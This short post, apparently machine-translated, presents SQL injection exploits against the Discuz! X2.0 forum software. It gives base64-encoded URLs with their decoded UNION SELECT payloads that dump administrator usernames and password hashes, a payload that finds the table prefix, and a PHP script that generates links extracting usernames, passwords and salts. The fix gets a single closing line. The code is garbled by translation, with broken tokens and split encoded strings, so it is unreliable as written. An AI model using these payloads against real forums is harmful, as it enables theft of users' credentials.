Discuz! X2.0 SQL Multiple Injection Vulnerabilities and repair

 
DZ2.0 direct brute-force password management account (default prefix)

/Forum. php? Mod = attachment & findpost = ss & aid = MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
Bytes
29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGl
RZSAnYWRtaW58eHx5 % 3D

Base64 Decoding

1' and 1 = 2 union all select 1, group_concat (username, 0x7C3274747C, password)
From pre_common_member where username like 'admin | x | y

If it is not the default prefix
Violent prefix EXP
/Forum. php? Mod = attachment & findpost = ss & aid = MScgYW5kIDE9MiB1bmlvbiBhbGwgc2V
SZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMR
Bytes
FIGxpa2UgJyVfbWVtYmVyfHh8eQ % 3D

 

 

 

--------

Add another php exp.

<? Php

$ Host = http://www.bkjia.com ";

$ Affuser = "username to be cracked ";

Echo '<a href = "';

Echo $ host. "forum. php? Mod = attachment & findpost = ss & aid = ";

Echo urlencode (base64_encode ("1 'and 1 = 2 union all select 1, TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = database () and TABLE_NAME like '% _ member | x | y "));

Echo '"target =" _ blank "> explosive prefix </a> ';

Echo "</br> ";

Echo '<a href = "';

Echo $ host. "forum. php? Mod = attachment & findpost = ss & aid = ";

Echo urlencode (base64_encode ("1 'and 1 = 2 union all select 1, group_concat (username, 0x7C, password, 0x7C, salt) from pre_ucenter_members where username like '$ affuser | x | y "));

Echo '"target =" _ blank "> password, salt </a> ';

?>

Fixed: the official website provided security updates yesterday.